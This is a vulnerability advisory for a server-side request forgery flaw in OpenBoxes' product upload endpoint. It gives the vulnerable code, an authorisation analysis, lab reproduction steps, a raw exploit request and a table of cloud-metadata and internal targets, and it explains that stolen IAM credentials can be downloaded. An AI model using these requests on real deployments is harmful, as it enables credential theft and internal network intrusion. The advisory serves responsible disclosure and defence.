A Server-Side Request Forgery (SSRF) vulnerability has been identified in OpenBoxes, an open-source supply chain management system used by healthcare and humanitarian organizations. This vulnerability allows authenticated users to make arbitrary HTTP requests from the server, potentially leading to:
- Cloud metadata service access (AWS, GCP, Azure credential theft)
- Internal network reconnaissance and service discovery
- Access to internal services not exposed to the internet
-
Version: OpenBoxes v0.9.7 (commit
535d1ff5d265b53f86e2923ec1c711d1aa8a435f) and lower versions as well (like 0.9.3 that is present in packages) -
Docker Image:
ghcr.io/openboxes/openboxes:latest
Location: grails-app/controllers/org/pih/warehouse/product/ProductController.groovy
Method: upload(DocumentCommand command)
Line: 449
Vulnerable Code:
if (params.url) {
Document documentInstance
try {
def filename = params.url.tokenize("/")[-1]
def fileOutputStream = new FileOutputStream(filename)
def out = new BufferedOutputStream(fileOutputStream)
out << new URL(params.url).openStream() // SSRF VULNERABILITY
out.close()
// ... file processing continues
}
}Root Cause: The params.url parameter is passed directly to new URL().openStream() without any validation, allowing attackers to specify arbitrary URLs for server-side requests.
- User must be authenticated (any valid account)
- No special privileges required - the
uploadaction is not restricted to admin/manager roles - Browser role is sufficient - verified through code analysis below
The RoleInterceptor.groovy authorization flow for product:upload:
-
RBAC Rules Check (lines 110-127): The interceptor first checks
openboxes.security.rbac.rulesinruntime.groovy. There is NO rule forproduct:upload:// runtime.groovy - NO entry for product:upload [controller: 'product', actions: ['merge'], accessRules: [ minimumRequiredRole: RoleType.ROLE_ADMIN]], // 'upload' is NOT listed
-
needManager() Check (lines 175-181): The
uploadaction does NOT match anychangeActions:def static changeActions = [ 'delete', 'create', 'add', 'process', 'save', 'update', 'importData', 'receive', 'showRecordInventory', 'withdraw', 'cancel', 'change', 'toggle', 'exportAsCsv', 'importOutboundStockMovement' ] // 'upload' does NOT start with any of these prefixes
-
needAdmin() Check (lines 169-173):
product:uploadis NOT inadminActions:def static adminActions = [ 'product': ['create'], // Only 'create' requires admin, NOT 'upload' ... ]
-
needSuperuser() Check (lines 163-167):
product:uploadis NOT insuperuserActions. -
Final Authorization (line 148): Since none of the elevated role checks apply, only
isNotBrowseris evaluated:def isNotBrowser = !userService.canUserBrowse(session.user) && !needRequestorOrManager(controllerName, actionName)
A user with Browser role passes this check, granting access.
Conclusion: Any authenticated user with at minimum the Browser role can access product/upload.
-
Start OpenBoxes using Docker Compose:
cd docker sudo docker compose up -d -
Verify all containers are running:
sudo docker ps
Expected output:
CONTAINER ID IMAGE COMMAND STATUS PORTS xxxxxxxxx nginx:1.13 "nginx -g 'daemon of…" Up (healthy) 0.0.0.0:80->80/tcp xxxxxxxxx ghcr.io/openboxes/openboxes:latest "java -Dgrails.env=p…" Up (healthy) 0.0.0.0:8080->8080/tcp xxxxxxxxx mariadb:10 "docker-entrypoint.s…" Up (healthy) 3306/tcp -
Wait for application initialization (~2-3 minutes for first startup)
-
Verify application is accessible:
curl -s http://localhost:8080/openboxes/auth/login | head -5
The SSRF exploit requires a valid product ID. Create test data:
sudo docker exec openboxes-db mysql -u openboxes -popenboxes openboxes -e "
INSERT INTO category (id, version, name, date_created, last_updated, sort_order)
VALUES ('test-cat-001', 0, 'Test Category', NOW(), NOW(), 0)
ON DUPLICATE KEY UPDATE name=name;
INSERT INTO product (id, version, name, product_code, date_created, last_updated, category_id)
VALUES ('test-prod-001', 0, 'SSRF Test Product', 'SSRF-TEST', NOW(), NOW(), 'test-cat-001')
ON DUPLICATE KEY UPDATE name=name;
"To prove SSRF calls are possible to another server, start an HTTP server on the Docker network that only the application server can reach:
# Start Python HTTP server on Docker network
sudo docker run -d --name ssrf-catcher --network docker_default python:3.9-slim python -m http.server 8888
# Get the internal IP address
sudo docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' ssrf-catcherExample output: 172.19.0.5
Important: This IP is only reachable from inside the Docker network, not from the host machine. If the SSRF catcher receives a request, it proves the application server made the request.
python3 poc.py --setup --username admin --password passwordOr run with manual steps:
python3 poc.py --username admin --password passwordCheck the SSRF catcher logs for incoming requests:
sudo docker logs ssrf-catcherConfirmed SSRF output:
172.19.0.3 - - [11/Jan/2026 08:34:09] "GET /SSRF_PROOF_067b1790.txt HTTP/1.1" 404 -
The request came from 172.19.0.3 (the openboxes-app container), proving the server made the request.
sudo docker logs openboxes-app --tail 100 | grep "Uploading document"Expected output:
ProductController: Uploading document: [url:http://172.19.0.5:8888/SSRF_PROOF_xxx.txt, product.id:test-prod-001, ...]
ProductController: Uploading document: [url:http://169.254.169.254/latest/meta-data/, product.id:test-prod-001, ...]
ProductController: Uploading document: [url:http://openboxes-db:3306/, product.id:test-prod-001, ...]
The SSRF is confirmed when:
- The SSRF catcher (internal Docker IP) receives HTTP requests
- The request source IP is the openboxes-app container (e.g.,
172.19.0.3) - OpenBoxes logs show the arbitrary URLs being processed
This proves the application server fetches user-controlled URLs, enabling attacks against internal services and cloud metadata endpoints.
- OpenBoxes installation
- Valid user account (any privilege level even Browser)
- Python 3 with
requestslibrary
HTTP Request:
POST /openboxes/product/upload HTTP/1.1
Host: localhost:8080
Cookie: JSESSIONID=authenticated_session_id
Content-Type: application/x-www-form-urlencoded
url=http://169.254.169.254/latest/meta-data/&product.id=1| Target | URL | Purpose |
|---|---|---|
| AWS Metadata | http://169.254.169.254/latest/meta-data/ |
Steal IAM credentials |
| GCP Metadata | http://metadata.google.internal/computeMetadata/v1/ |
Steal service account tokens |
| Internal DB | http://openboxes-db:3306/ |
Access internal services |
| Localhost | http://127.0.0.1:8080/ |
Access local services |
-
AWS Credential Theft: In AWS deployments, attacker can access
http://169.254.169.254/latest/meta-data/iam/security-credentials/to steal IAM role credentials. -
Internal Network Discovery: Attacker can scan internal networks to discover services not exposed to the internet.
-
Database Access: In Docker deployments, attacker can attempt to access the database container directly.
- Requires authentication (not exploitable by anonymous users)
- Impact varies by deployment environment (cloud vs on-premise)
This is NOT a blind SSRF. The vulnerable code writes fetched content to a Document object that is saved to the database and associated with a product:
// From ProductController.groovy lines 449-465
out << new URL(params.url).openStream() // Fetches arbitrary URL
out.close()
File file = new File(filename)
documentInstance = new Document(
size: file.size(),
name: file.name,
filename: file.name,
fileContents: file.bytes, // Response content stored here
contentType: contentType)
command.product.addToDocuments(documentInstance).save(flush: true)The attacker can retrieve the fetched content by:
- Accessing the product's document list via the UI
- Downloading the document through
/openboxes/document/download/{id}
This makes credential theft from cloud metadata services directly exploitable - the IAM credentials would be stored as a downloadable document.
| Date | Event |
|---|---|
| January 11, 2026 | Vulnerability discovered and reported to the OpenBoxes maintainers. |
| February 2, 2026 | Vulnerability acknowledged by the development team. |
| June 13, 2026 | Security patch officially released, fixing the unvalidated URL.openStream() call. |
